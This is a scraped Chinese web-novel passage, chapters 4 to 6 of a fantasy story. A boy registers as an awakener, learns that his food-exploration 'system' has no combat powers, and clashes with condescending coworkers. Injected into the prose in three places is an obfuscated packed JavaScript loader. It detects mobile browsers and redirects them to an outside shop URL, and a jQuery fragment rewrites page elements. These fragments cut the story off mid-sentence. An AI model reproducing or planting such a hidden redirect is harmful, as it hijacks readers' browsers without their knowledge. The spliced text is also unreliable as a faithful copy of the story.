健壮的大汉穿着蓝色背带裤,和蔼的脸上满是对来访者的亲切。他手上还拿着一枚小红旗,上面写着‘觉醒协会指引员’。 迎上来的时候,手臂的肌肉微微鼓起,比陆燃竹两个大腿加起来都要粗。 “小觉醒者需要什么服务?我可以为你提供指引哦。” 大汉亲切至极,但陆燃竹没错过他被在背后那把锋利的大刀,没有刀鞘,就这么直白地展示着。 陆燃竹扫了一眼他背后的刀,道:“我想去登记身份。” 大汉微微一笑:“那得往这边走。”他转身走在陆燃竹前头。 风暴状外形的觉醒协会内部,是个面积极大的宽广平层,多个服务的窗口站在一头根本望不见头,几个悬浮着流动信息的岛台纵横分割,清晰划分每个区域的服务人群。 各个区域天花板处都有指引,部分人流量密集,部分人流量稀疏。 大汉要带着陆燃竹去的地方,便是人流量较少的区域,它在大厅的最里面。 陆燃竹跟在大汉的身后,他体型小,有大汉开路,他躲在人后面倒也不需要去避让那些比自己高大的觉醒者们。 卷发少年隐在发丝背后的眼睛骨碌碌地转,带着好奇观察这个自己从来没来过的地方。他路过任务领取处那扇长达五十米的显示屏,又路过两名有些口角的觉醒者,最后看了一圈才想起刚刚金勺勺似乎有什么话又说。 “金勺勺,你刚刚想说什么?” 金勺勺鼓起勇气:“嗯,就是,我们之间或许存在一个误会……” “误会?什么误会?” “就是……那个天赋的事情……” “小觉醒者,我们到了。” 走在前面的大汉转头和陆燃竹说话,见此,陆燃竹只能先告诉金勺勺等会再说,便快步拉近自己与大汉的距离。 背带裤大汉见卷发少年走近,便伸手轻轻握住他的肩膀,他转动他的身体,让陆燃竹面朝眼前的摄像头。 “直视镜头,现在的身份认定非常简单,只要世界数据库里面有你成功觉醒的信息,你就能成为协会认定的觉醒者。” 【检测到人像,正在识别————】 【居民编号4130050505,陆燃竹,已检索到信息。】 【开始办理觉醒者徽章和身份,请根据指示进一步填写资料……】 “好了,小伙子,你跟着指示填吧,我就在不远处,填好了来找我,我带你去别的地方。” 背带裤大汉笑着拍了拍陆燃竹的肩膀,随后便留给少年自己的一个空间。 “谢谢您。” “客气啥。” 见大汉走远,陆燃竹盯着眼前的界面犹豫了一会,便开始着手填写资料,这回得空了,他还能一边填一边和金勺勺继续刚刚的话题。 “所以你刚刚想说些什么?” 陆燃竹填到了地址。 “就是……那个……天赋的事情,我好像搞错了。” “搞错了?什么搞错了?” 陆燃竹填到了名字的选项。 “就……我以为宿主你所说的天赋是你具备美食开拓天赋的意思,却没想到……你所说的天赋是超能力……” 美食开拓天赋?超能力? 又是新的名词,陆燃竹盯着已填上‘燃金’二字的名字选项,手微微一怔。 之前忽略的那点微妙感在金勺勺心虚的解释中渐渐明晰,卷发少年眼睛微微一眯,语气带着点威胁,“金勺勺,说清楚点。” 金勺勺瞬间立正勺声,大声地道:“宿主我不是你的天赋啊,我只是个系统,没有超能力能战斗或者辅助!” “对不起!” 不详的预感终于成真,陆燃竹狠狠一闭眼。 第一时间竟然不是怪金勺勺的欺骗,而是感慨自己的运气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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金勺勺找补地碎碎念,而陆燃竹却直接喊停。 卷发少年知道自己被骗之后脑子非常清晰,对金勺勺话中的生词统统略过,他条理清晰地说,“首先,我得告诉你,你找错人了。” “我不知道你哪来的方法检测到我有你所说的美食开拓天赋,但我没有,我对下厨一窍不通。” “其次,你所描述的一切在这里完全伸展不开。费斯拉大陆的美食文化自剧变之后便变得十分贫瘠,有集市,但里面没有你说的食材。” “摆摊更不可能,这里压根就没有餐厅和什么小吃摊。” “最后!”陆燃竹扶着脑袋带着期盼的语气问:“你之前让我签的那个什么契约,能取消不?” “不能。” 金勺勺的声音小若蚊鸣。 得了。陆燃竹脱力地撑住眼前的机器,整个人眨眼间褪去了颜色。 “宿主——”金勺勺还想在再弥补弥补,而突发的声响再次打断了它的思绪。 【嘀——您的资料填写完毕,恭喜你成为觉醒协会的一员,觉醒者燃金。】 语音播报声清脆又令人绝望,陆燃竹呆呆地看着自己手撑着的地方,好巧不巧,正好按在确认键位上。 咔嚓,油画变成雕塑。 陆燃竹丧失了全部力气。 5. 第 5 章 第5章 “燃金,这个名字起的很有意思。” 背带裤大汉拿着手里刚打印出来的觉醒者徽章,笑着看着陆燃竹。但很明显,卷发少年神色萎靡,对此,也只是点了点头。 陆燃竹直到现在脑袋还是隆隆作响,失手登记完信息后,他就机械性地跟随大汉走过一个个地方,办了徽章,还拿了个觉醒者腕表。 金勺勺目前是压根不敢吭声了,但也没躲起来,开了个界面躲在角落,战战兢兢地等待宿主的惩罚。 但陆燃竹对它生气吗? 其实也不是很生气。 毕竟轻信“人”的是他自己,金勺勺自己也是个糊涂蛋。 “谢谢您的帮忙了。” 心底迷茫归迷茫,陆燃竹表面上还是没太过失态,对待人家手把手的帮忙,他由衷地感激。 “客气啥,我责任所在。”大汉晃了晃手里的旗子,上面‘指引员’几个字清晰又灵动,“不过我知道了你的名字,也告诉你我的名字吧。” 他盯着少年稚嫩的脸,扬起了大大的微笑,“我叫楚谷,有时候在这里兼职。” “谢谢你楚……楚哥,我叫陆燃竹。” “燃竹,也是个好名字,但叫我哥,哈哈。” “我也是年轻了一回。” 楚谷哈哈大笑地拍了拍陆燃竹的肩膀,爽朗的笑容让陆燃竹原本有些低迷的情绪也跟着带动了不少,少年不自然地笑了笑,换来了楚谷又一个亲切的拍打。 “这就对嘛,年轻人就得笑笑才显得有朝气。” 楚谷把小旗子掉了个头指向仍旧热闹的外部广场,“看到那金色卷轴了没,费斯拉英杰榜一年换一届,现在榜首那位也只比你大五岁,就已经坐稳榜首,听说还是一级觉醒宗师。” 楚谷比了个一的手势,感慨道:“这种晋升的速度千百年来都未曾听过。” 觉醒者之间存在等级的划分,自联盟建立以来,联盟便根据觉醒者体内觉醒力的强弱划分了六个等级。 分别是,觉醒学徒,觉醒精英,觉醒大师,觉醒宗师,觉醒圣域和觉醒传奇。 各个等级里面更是划分五个小等级。例如陆燃竹现在还没显现天赋能力的,只能算一个半吊子的一级觉醒学徒,而位于榜首上的那个叫靳洲的,据说是一级觉醒宗师。 “听说还是个特殊类的,真令人有点羡慕啊。” 听楚谷聊起刚刚引起外面喧哗的人物,陆燃竹又有一点好奇,但他的好奇是对楚谷背后的刀,“楚哥是什么种类的?” “我?”楚谷一愣,“召唤类的!” 他拍了拍自己身后那把没鞘的大刀,笑得自豪,“这是我的老伙计!” 不收敛的手劲,似乎引得那把大刀不满,低鸣声顿时从刀声上传来。 “它现在有些生气。”楚谷的屁股被大刀反打了一下,有些呲牙咧嘴。 见状,陆燃竹勾了勾嘴角,只是下一刻他看了看窝在角落祷告什么主神的金勺子,扬起的嘴角又瞬间拉平。 “好了,剩下的就交给你自己去探索了,我得去服务下一个小客人。” “谢谢楚哥,再见。” “再见!” 站在原地看着渐渐远去的背影,陆燃竹扬起的手缓缓放下,现在又剩他一个了,金勺勺等待的审判也即将到来。 金色勺子躲在角落悄悄地偷看宿主的脸,却见卷发少年低头查看起刚刚拿到手的腕表,没有生气,但也不开心。 金勺勺偷看的眼神陆燃竹自然察觉到了,但吃过无知的亏,现在的他必须抓紧了解一下有关觉醒者的一切知识。 协会配备的觉醒者腕表功能相当齐全,比起陆燃竹那个低价淘来的二手通讯器,这个崭新的腕表表盘清晰,零件齐全,听说为预防攻击性强的觉醒者,还具备一定的防护罩功能,当然,这个功能只保护它自己。 区域地图,委托查询,协会积分查询,协会等级查询,任务进程,任务缴纳点查询,还有官方咨询,积分商店,以及新手觉醒者指引等等功能。 小小的腕表直看得陆燃竹眼花缭乱。 简单翻了翻各个板块后,他还是点进了那个新手觉醒者指引。 这一看,就是十几分钟。等金勺勺自己快憋不住时,陆燃竹突然长长地叹了口气。 无知吃大亏。 新手觉醒者在觉醒之后并不能直接成为一级觉醒学徒,为适应体内天赋的激发,觉醒者的身体会在短时间内成长适应,他们的天赋能力并不会第一时间显现,而是要等到身体彻底适应天赋觉醒的变化,才会具象化。 联盟内管这个叫萌生期。 这个算是觉醒者内部人人都知道的常识,可惜陆燃竹是个文盲,又没有其他长辈看着,只知道成为觉醒者能赚钱养活自己,就这么稀里糊涂地觉醒了,还稀里糊涂地信了来历不明的金勺勺。 他和金勺勺,就是两个糊涂蛋。 这又怪得了谁? 那一声长长叹息似乎给了金勺勺勇气,它小声地说道:“宿主……我还挺有用的。” “例如呢?” 陆燃竹头也不抬,他低头查看着觉醒腕表上的任务委托板块,看看有哪些他勉强能够够的任务。 “例如……我能给你开放工具库。” 金勺勺小心翼翼地从角落挪到中间。它是一个成长型系统。契约宿主之后,虽然不能解锁等级高的板块,但基础的功能还是存在的,比如几乎涵盖所有种类的厨具库。 “工具库?” 陆燃竹找任务的手一顿。 见陆燃竹提起兴趣,金勺勺更大胆地站在了少年的正前方,金色勺子从底部拉上一个工具栏,指着里面小巧的图标道:“看就是这些东西,宿主只需要点一下这个图标……” 美食开拓系统正说着,陆燃竹下意识就跟着它的话把注意力移到图标上。 点一下? 怎么点? 没等少年反应过来,就看到被自己盯着的图标猛地一亮,下一刻,一口黝黑发亮的熟铁锅猛地浮现在陆燃竹眼前。 铛—— 骤然出现的锅具,完美穿过少年慌乱的手,跌落在地,发出巨大的响声。 霎时间,周围其他觉醒者纷纷投来关注的目光。 寂静片刻,有名魁梧的觉醒者朝陆燃竹竖起大拇指。 “哟!小哥,那看起来是个不错的防具!” 金勺勺生气:“他怎么能说是防具,这可是我精心收集的铁锅数据模型,炒菜一流,锅气满满!” 陆燃竹耳朵通红:“你住嘴吧!” 陆燃竹离谱又荒诞的一天最终以闹了个大红脸告终,身心疲惫的他没有多余精力再去哪里闲逛,早早赶了趟班车回到了自己的住处。 隔天一早,陆燃竹吃完了最后一块存粮,便前往千哥所在的店铺。 千哥所在的店铺在靠近城墙处的交易区,离出城口格外地近。而要前往交易区,首先需要经过广阔的宣誓广场。 宣誓广场,是纪念就是开拓泗黑崖觉醒者们的地方。 宽阔的广场并无多余的装饰,四周有五条高耸的石柱,然后便是中央几座先辈觉醒者们的石像,足足几十米高,上面还留存着属于他们的能量痕迹。 据说有缘之人,甚至能从其中获得感悟。 正因如此,这处广场每天都有人前往静坐,渴望得到昔日那几名觉醒传奇的教导。 只不过,陆燃竹每次经过都没过去凑热闹。 今天也是,卷发少年捂住吃了个半饱的肚子,神情麻木。没有别的原因,单纯就是肚子饿。 他现在要养两张嘴。 一个是自己那个不成器的身体,营养不良加萌生期,饭量翻倍。 第二个是金勺勺,目前还没带来半点作用的美食开拓系统,它的能量值也需要从宿主身上获取,更通俗一点来说,陆燃竹吃的食物也有它的一份。 属于雪上加霜,加了个半米厚的冰块子那种。 “宿主……你没事吧?” 经过一夜的彻夜长谈,已经被宿主嫌弃过的美食开拓系统轻声问。 “……” 陆燃竹不想说话,他兜里的钱已经快见底了,再和金勺勺闲聊的话,嫌弃或者生气的情绪会让他更饿。 陆燃竹穿过拥挤的人群,过了宣誓广场,他已经踏入了交易区的范围。时间还早,交易区的大部分店铺都没有开,只有属于觉醒协会的任务提交点和补给商店是24小时营业。 千哥的店铺就在补给商店的隔壁,依着宣誓路,地段极好,小小的一间,悬挂着千千古物店的招牌。 陆燃竹走进去的时候,门口的风铃被触响。 叮铃—— 关门的动静,使得柜台后趴着打瞌睡的人猛地一激灵。 “欢迎光……啊,是你啊,燃竹。” 守店也是陆燃竹认识的,叫小鸣,是千千古物店的前台。小鸣长相敦厚,上扬的嘴角时常带给人一种和煦的感觉,老实巴交的,但口才极好,是千哥特地找来的。 小鸣见陆燃竹进门,便招呼道:“好久不见了,最近我看店里忙就猜想千哥会喊你,果不其然。” 他看着陆燃竹走近,接着说,“不过千哥出去了,今早怕是赶不回来,但他该交代的都交代了,你的单子也交代好了。” “我知道。” 陆燃竹闻言点了点头,他和小鸣的关系还不错,不算很亲密但也聊得来。今早来之前,千哥也发了消息,说没在店,让他一切照旧。 如何接单和交付,他们两人已经非常熟练。 陆燃竹站在柜台边,把昨天新鲜出炉的觉醒腕表递给了小鸣。 见状,小鸣脸色闪过一丝惊讶,他抬头仔细看了眼神情淡淡的少年,随后小心接过导入数据。在熟练操作的间隙,他还是忍不住好奇问:“你去觉醒了?” “嗯。” 陆燃竹点头。 闻言,小鸣抿了抿嘴,从眼角余光看了眼正打量店内的陆燃竹,他想问少年为何去,又觉得依照他们俩的关系问这个过于私密了。 毕竟他们不算是朋友。 在内心纠结来纠结去,小鸣最后还是小声地说了一句。 “恭喜啊,成为觉醒者了。” “谢谢。” 陆燃竹礼貌地回道。 接单的流程很快,不到一分钟,小鸣就把觉醒腕表还给陆燃竹,递过来是还开玩笑地说了一句,“这次很快。” 因为少年的设备升级了。 话里藏着的打趣,陆燃竹自然听得出来,他嘴角勾了勾,“当然,设备升级了。” 要是他那个二手通讯器,起码得五分钟左右。 两人因着这句话原本有些尴尬的气氛微微和煦,小鸣也跟着笑,他正想告诉陆燃竹东西都在后面,又在听到身后门内传来的动静时脸上的笑容微微一僵。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338382|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他压低声音道:“忘记跟你说了,何斛他们也在后面。” 他说着话,眼里的笑意渐渐消失。 同事也分很多种,有好的,共事舒服的,例如临时工陆燃竹,也有不好的,喜欢阴阳怪气的,就比如何斛和他的跟屁虫谷添。 何斛是老板千戈的远房侄子,十五岁,没上学了,来千戈这讨生活。刚来时人还行,不惹事喜欢在千戈面前晃悠,少年人嘛,偶尔也会夸耀夸耀自己的成绩。 小鸣这些年长的都能理解。 但时间一长,何斛似乎变了。 变得敏感,市侩,易怒,整天把等级挂在嘴边,似乎自己三级觉醒学徒的身份就高人一等。对待比自己等级低的同事说话也开始不客气起来,常常用指使的语气让人办事。 这让人难免心生厌烦。 小鸣的等级比他略微高些,却也没少被他指使人的语气气到胸口疼。本着不招惹老板亲戚,能忍的就都忍了。 可如果只是爱炫耀就算了,何斛的心思也渐渐不在工作上,办事的效率越来越低,客户投诉越来越多,小鸣没少替他擦屁股。 偏偏他还很把自己当回事,仿佛这些都是理所应当的。 或许是小鸣内心吐槽的声音太大,又或许是闻到味了,小鸣的话没说完,身后的门就被人突然从内部打开。 哐当一声,像是用踹的,与此同时是一道惹人烦的声音。 “我当是谁呢?原来是临时工啊。”一名金发男生趾高气扬地走出来,他的长相并不出色,一双三白眼,说话的时候微微仰着头,像是这样就能再高人一等一样。 他那双眼睛盯着柜台前神情淡淡的陆燃竹,见人没理他又哐当一声把自己的装备砸向了柜台的桌面。 在小鸣清晰的啧声中,他抬起下巴,“小鸣,该轮到我了吧,今天的额度我可是好不容易攒下来的,给我接几个难度高一些的。” “我可是三级觉醒学徒,不像某人只能去更低级的可控区。” 得意洋洋的语气,后面还有谷添的附和声。 “没错没错,某人现在连个觉醒者都不是。” 难听的话一阵又一阵,让背对二人的小鸣额角青筋连暴,他啧了一声,手速飞快地敲打键盘,“接不了,上回几单的客户满意度太低,有些看了评价的客户指明不要你们来接单。” 他语速极快,“还有几个可控区今早发布公告,提醒区域内灾兽频繁暴动,危险值提升。” “以及,月底要到了,你们这个月的满意度还有两分就掉出及格线了。” “排除以上因素,你们能去的,还真就只有‘更低级的可控区’了。” 小鸣话里话外毫不留情,直接揭开何斛两人的老底,还想继续在陆燃竹面前摆架子的何斛脸上青一阵白一阵,站在他身后的谷添更是脸色发白,他嘴唇动了动,看着前头的何斛正想说话,却被何斛一把挡在了身后。 “那你就看着搞!” 何斛心情极差地摔下自己的觉醒腕表,他正欲瞪向小鸣,卷发少年却偏偏迎了上来。卷发少年收好觉醒腕表,上前一步挡在了小鸣和何斛两人中间,略高一些的身高让他几乎俯视着眼前两人。 “让让,我要去拿东西。” 陆燃竹脸色很臭,日常混迹在交易区和可控区的气质率先让站在何斛身后的谷添退缩了一步,留下矮人一头的何斛独自一人面对。 “你——” 何斛正想开口冷嘲,却眼尖地瞧见少年戴在胸前的觉醒徽章,嘴里的话一下子被震惊所打断。 谷添同样也没错过,他扯了扯何斛的衣服,小声道:“老大他觉醒了。” “觉醒就觉醒!他一个银叶族,觉醒后屁能力都没加!” 像是找到自己能比过陆燃竹的地方,何斛冷笑一声,他想要伸手去指陆燃竹身上的徽章,却被卷发少年一把拧住了手指。 卷发少年神情冷淡,拧住何斛手指的力道却丝毫未松。 强烈的疼痛感从手指处传来,何斛的脸色顿时有些扭曲,他努力掰回去,却始终比不过人家的力气,最后还是被陆燃竹拧远了距离才松开的。 “陆燃竹!” 何斛摸着被撞疼的肩膀,气急败坏。 “你等着!” 他放着狠话,卷发少年却连头都没回,把漠视贯彻到底。 一旁的小鸣见状嘴角抽搐,他实在搞不清楚何斛两人的想法,城内因觉醒秩序奈何不了人家,力气、绩效、效率统统都比不过,还整天揪住人家特殊种族的身份瞧不起人家。 他到底哪来的自信? “两位,时间不等人啊,东西搞好就赶紧出发吧。” 同样不想看见两人的小鸣保持微笑道,他指了指腕表提醒时间。 见状,何斛两人气性再大也得赶紧走,两人一前一后的离开,把店门砸得哐哐响。 站在门口,还没有从陆燃竹觉醒这件事缓过来的谷添有些不安地拉着何斛问,“老大,他觉醒了。” 何斛还在气头上,“我都说觉醒就觉醒了,他一个银叶族,你怕什么!” “一个把天赋都点在了适应能力上的特殊种族,以后等级再高上限也比不过我们这些拥有多样天赋能力的。”男生脸色难看地说着,他看着自己被卷发少年拧着发红的手指,默默又重复了一句。 “我可是元素类的天赋,比他那什么强化类要厉害。” “就一个银叶族而已。” 6. 第 6 章 第6章 “啊啊啊!我好想去揍他一顿啊!” 千千古物屋仓库内,金勺勺拳打脚踢地说着,美食开拓系统从刚刚冲突爆发的时候就气愤得想要从界面里出来,搞出来的动静一时都要比何斛都大。 陆燃竹挑捡着装备,安慰道:“别气了,没必要。” “可他们都这样说你了,宿主。” 金勺勺替陆燃竹打抱不平,“他凭什么看不起人啊,等级高很了不起吗!” 美食开拓系统的话十分直接,却让拿着东西的卷发少年手一顿,少年略微一沉吟,反倒点了点头,“等级高确实便利一些,赚钱的机会更多,也不会被人打。” 闻言,金勺勺愤怒的心情一下哑火了,它看着陆燃竹,问:“宿主,你被人打过吗?” 卷发少年发丝下的眼睫微微一颤,随后平静地接着拿装备,几乎没有停顿地回答了金勺勺的问题。 “没有,我打别人呢。” “你看何斛他们,我还打过他们呢。” “真的?” “啊,那时候还年轻气盛。”陆燃竹老气横秋地说着。他本就不是千千古物屋的正式员工,只是偶尔帮千戈应个急,来这里的次数并不多。 仔细算算也就一年前,何斛他们一开始也挺平易近人的,刚来那会,陆燃竹受千戈之托还带过他们一两次,后来也不知道为什么,那两人自己开始组队去接单后就开始针对起他来,时常冷嘲热讽,后面有几次还给他使绊子,但被陆燃竹揍了回去。 觉醒秩序之下觉醒者不可以在城内使用能力,当时三人在仓库肉搏,陆燃竹平日吃得多,虽然看起来瘦,但打人是实打实的疼。 自那之后,何斛两人也就收敛了一些,把注意力放在冷嘲热讽上,每次说的话也不外乎那两样,一个是他特殊种族的身份,另一个是他自己等级高。 翻来覆去的,陆燃竹自己耳朵都听出茧子了。 “宿主现在也很年轻啊!”金勺勺好奇接着问,“那打赢了没有?” “当然打赢了。” 陆燃竹把东西都塞进临时储物工具里面,表情淡淡地应着。对金勺勺话中的年轻倒是没多大应和的意思,他内心是真觉得自己心态发生了变化。 换做一年前的自己,今天听到何斛他们那些话可能还真会再打起来。 但—— 他现在也明白,打起来也不能有什么好处。 还不如给千戈卖个人情,那个贯会用名字占别人便宜的,肯定不会错过今天的冲突,自己不挑事,他又因和何斛他们那点亲戚关系不好直接罚人家,不如在他那里示个弱,后续的合作机会也会更多。 卷发少年心底平静地想着。 “可宿主,你真是银叶族吗?”被宿主安慰着平静下来的金勺勺也注意到刚刚何斛两人口中的银叶族。 从觉醒腕表那里拷贝过来的资料显示,觉醒联盟内部是存在一些特殊种族的,银叶族便是其中之一。银叶族一般都居住在东部联盟,在西部联盟的泗黑崖这里,相当少见。 他们同属于人族,但只有一种与生俱来的觉醒天赋,便是强化类天赋的适应。这类种族并不像一般觉醒者那样会觉醒多样丰富的天赋,他们的天赋只有一种,从始至终都是。 像是把全部的潜力点都堆在了适应这一天赋上。 所以,他们并不惧怕那些令觉醒者闻风丧胆的逆觉醒流,也不需要回到稳定区内缓解逆觉醒流的影响,长时间待在逆觉醒流区域,对他们来说,几乎没有什么影响。 但同样的,他们也需要跟其他觉醒者一样在应有的年龄去到觉醒天赋塔那里进一步进行觉醒,在还未觉醒前,他们会随着年龄增长逐步显现出种族天赋的特性,除此之外,觉醒的流程都跟一般人无异。 这也是陆燃竹昨日去觉醒的原因。 从一年半前意外知晓自己能长期呆在可控区内后,卷发少年也和何斛他们一样,认为自己是银叶族。 但觉醒之后这种可能性只有百分之零了。 毕竟,银叶族觉醒的适应天赋是强化类的,而他觉醒的是特殊类的,同时除了适应性之外,他还有一点跟其他人不一样。 眼睛。 他的眼睛,与其他人不一样。 卷发少年摸着自己的眼睛,沉默了半响才回答。 “应该不是。” “但这个和我们现在没什么关系。” 现在他连自己都快养不活了,还关心自己究竟是个什么种族的,能适应,能赚钱就行了。 金勺勺:“也是。” 陆燃竹很快收拾好东西,他离开了仓库,又和小鸣聊了两句后便离开了。 从千千失物巡回屋出来后,陆燃竹打算去一趟补给商店补充一下水粮,这次去可控区大约需要两天,他可不想在外面饿晕过去。 补给商店是觉醒联盟所处可见的店铺,承载了绝大部分觉醒者们的基本物资。 陆燃竹带着金勺勺如往常般进门,一进门,就轻车熟路地拐进粮食补给区。他熟练地来到自己以往经常光顾的货架上,正欲低头拿取那最便宜的能量块。 就听见金勺勺一声惊呼。 “宿主!这里怎么会有这么多口味的能量块!” 美食开拓系统死死贴在界面边缘,试图去看那排在另一货架上的物品。它分明看到了!有辣果口味的,还有骨莓口味的! “口味?”习惯买原味的陆燃竹手一顿,下意识地说,“别想了,那东西贼……” 叮咚—— 【检测到种类‘能量块’存在新增口味,‘骨莓’、‘辣果’、‘奶蕉’……】 【‘能量块’理解度加+5、+5、+5……】 【当前理解度为50!经验值+100,积分+50!】 【您已升级,当前等级为美食开拓者一级!】 急促的系统播报声,顿时让一人一系统都愣住。卷发少年看着手里的原味能量块,又转头看着另一个他从未涉及过的货架,轻嘶一声:“金勺勺,口味也能算?” 美食开拓系统记录费斯拉大陆的第一个美食种类,便是陆燃竹早上吃的那块能量块。 即使压根不懂美食的陆燃竹,也觉得那种如同嚼蜡的滋味跟美食压根一点都靠不上边。 金勺勺狂喜:“当然!宿主!” 自从成功契约后,陆燃竹对美食开拓系统的了解也加深了。 名为金勺勺的美食开拓系统一共存在五个板块,分别是宿主板块,分析板块,图鉴板块,积分兑换商城板块和合成板块。 宿主板块提升宿主能力,分析板块辅助食谱收集,图鉴板块获取经验和积分,商城板块交易物品,合成板块调和调料,这些板块都需要一定的等级才能解锁并提升。 而刚刚契约并且才升到一级的陆燃竹,能解锁的也只有宿主板块的工具栏以及图鉴板块的收集功能。 那收集功能还是自动读取,方便得很。 当然,前提是消耗能量值。 “宿主宿主!我们把它们买下来吧,通过你身体品尝的话能提升好多的理解度呢!” 金勺勺迫不及待,它原本都做好这个世界没有升级途径的准备了,没想到柳暗花明又一村,它又有了希望。 美食开拓系统语气中表露期待,卷发少年却完全否决这个提议。 已经带着某统逛了一圈的宿主冷酷无情,他语气带着威胁,轻飘飘的。 “金勺勺,你看一眼那下面的价格标签。” “然后,再跟我重复一遍你的请求。” 金勺勺闻言定睛一看,瞄到几个零之后就不敢往下瞥了,心虚地闭上了自己的嘴。 买不起,真买不起。 等到了结账台,不死心的金勺勺还是没放弃希望,觉醒腕表里面的数据只涉及觉醒者和可控区的内容,陆燃竹那个二手通讯器更是不能查东西,它无从查到这个世界的美食文化到底如何。 美食开拓系统暗搓搓地组织语言,渴望能说服宿主以后带它去相关的店铺逛一逛,没钱没关系啊,能蹭一点经验值是一点啊! 只是没等它提出来,结账电脑上便报出了一个对他们一人一系统上有些肉疼的数字。 “!宿主,好贵啊。” 知道宿主存款的金勺勺倒吸一口凉气,而陆燃竹却眼皮掀都没掀,少年把买的东西塞进千戈提供的临时储物工具里面,随后便走出了商店,朝出城口走去。 【嘀嘀嘀——】 【检测宿主身上存在疑似调味料的东西,是否将其收进图鉴板块中?】 调味料!? 金勺勺大喜:“宿主,你什么时候!” 少年没有立刻回答,他松开手指,一小罐红色结晶状的东西在晨光下熠熠生辉,他晃了晃,微微勾起嘴角,“在你还在琢磨怎么说服我的时候。” 【检测到调味料‘红皿果粉’,理解度+5,经验值+5,积分+5。】 “宿主——” 金勺勺没想到陆燃竹竟然会买这个东西,它知道的,这种很贵,就这么一小瓶,比两大块能量块都贵。 “收声!”察觉这把金勺子又有肉麻的趋势,陆燃竹收起瓶子,昨夜他已经听金勺勺吹嘘好久它是如何如何有价值,现在他可不想继续听。 但见金勺勺兴奋的样子,少年眼底还是藏有笑意。 先前他并不知道调味料也能算金勺勺能收集的材料。费斯拉大陆虽然因为逆觉醒流的影响,无法为觉醒者们提供安全的食材,但也不是所有食材都不能吃。 只要能处理食材中的逆觉醒流,食材就是相对安全的。 而能处理逆觉醒流的方法只有两个。一是去除,即拥有净化类天赋的觉醒者或者是具备提炼功能的高精密机器对食材中的逆觉醒流进行削减,让其保持在人类可食用的范围内;二是平衡,即借助各个食材内部的能量制衡,使菜肴在烹制过程中互相抵消逆觉醒流,从而达到可食用的标准。 听起来并不难,但拥有这二类天赋的觉醒者比重并不多,同时,研制出来的处理机器,也无法适用于每一种食材。 高昂的成本让能入口的美味佳肴都成了奢侈品。 位于底层的人们顶多就是在日常买来多样的调味料自己给能量块进行加餐。毕竟,调味料的处理程序相对简单,就算净化率低少量食用也不会对人体造成太大影响。 “那宿主,你们这还有很多这样的调味料吗?” “市中心有家大超市,等回来我们可以去看看。” “太好了!” “但不能买。” “我知道。” 一人一统一应一答,很快便来到出城口。与许多店铺还未开门的交易区相比,这里更为热闹。 远远看去,队伍长龙已延至百米。 陆燃竹眺望着远处那沉重威严的巨大石门,又收回视线,静静观察着周围三三两两的觉醒者们,随后带上上衣的兜帽,露出胸口的觉醒者徽章,默默排在了队伍末端。 排队出了城,再走上几百米到了索道站,就完全脱离了稳定天罩的保护范围。 与城内截然不同的压迫感伴随着呼吸沁入肺腑。 因着这变化,陆燃竹周围的觉醒者们都不免皱起了眉,甚至有人回头深吸了一口气。 索道站是华和公司的产品,依托觉醒石能源,每一个可控区都有对应的路线,支付的费用是觉醒石,可在柜台兑换也可自行支付。 这里的面积比城内交易区的还大,浩浩荡荡的队伍进入之后便三三两两的散开,陆燃竹自然也跟着人群往可控区856那边去,只是还没到达,眼见的金勺勺便发现了熟人。 “啊!宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听到等级不高,田柄眼里的兴味顿时淡了,又听何斛说起是个银叶族,他挑了挑眉,拉长语气道:“银叶族啊。” “倒是便利。起码不用像我们一样按费来换时间。” 男人这句说完,又揽过一旁的女生,“不过等级不高就算了,我可不想又多一个拖后腿。” 他意有所指。 队伍里剩余人闻言都默默把视线投在何斛身后的谷添身上,同样知道在说谁的谷添脸上表情尴尬。 他身上背满了水囊,虽竭力保持镇静,但瘦弱的身躯在难堪的情绪下还是不自觉发抖。 站在他身前的何斛眼底闪过一丝暗色,他乐呵呵地上前几步,挡在谷添面前,朝田柄谄媚道:“他当然比不过田哥你,田哥可是半步觉醒精英!” “还具有攻击力极强的冰系天赋,只有适应力强的话哪配得上当田哥的队友。” 何斛好听话说个不停,被吹捧的田柄自然知道他是为了护着谷添,但何斛能力不错,还懂得讨好他,也就把视线从谷添身上移开。 其他人见状也加入讨论,生怕慢何斛一步。 “我倒是不希望自己的天赋觉醒只是个适应力强的。” “加一。” 几人议论纷纷,却不知隔着一扇车窗,有人将他们的谈话都听得一清二楚。 前往高级可控区的索道列车外表简约大气,内里根据价钱分了个三六九等,田柄等人正巧站在豪华车厢的外面,少年人嬉笑的声音在室内高阶觉醒者耳中清晰分明,甚至有些刺耳。 不算小的车厢内,柔软的沙发座椅上坐着三个人。 两男一女,尽显贵气,其中坐在左侧的男生,更是容貌俊美,干练的墨色头发,白皙的皮肤,挺拔高挑的身材,身穿精简的黑色休闲服,正闭目养神。 坐在他身旁的男生正侧耳倾听外面的谈话,在听到他们对天赋种类的谈论时,他看热闹的眼神瞥向斜对面的银色头发女生,打趣道:“诸大小姐,外面那些人对银叶族的评价,你感觉如何?” “不如何。” 银发女生把玩着手腕上繁复的手环,点点寒光在纤细的指尖若隐若现,隐隐含着危险的意味。 她略微抬眼,抬头的间隙锁骨处银色的叶状图腾在灯光下泛起一层光鳞,格外显眼。 “他们对天赋的看法太过浅显,没有什么评价的意义。” 诸墨淡淡地说道,对于自己的种族,她从小到大已经听过太多的议论,有说适应能力上限低的,也有说适应能力太弱的。 种种评论她耳朵都要听出茧子了,但能力都是有相对应的代价。 适应天赋做到极致也能是强者。 她们银叶族从不是那些肤浅的人口中所说的那样。 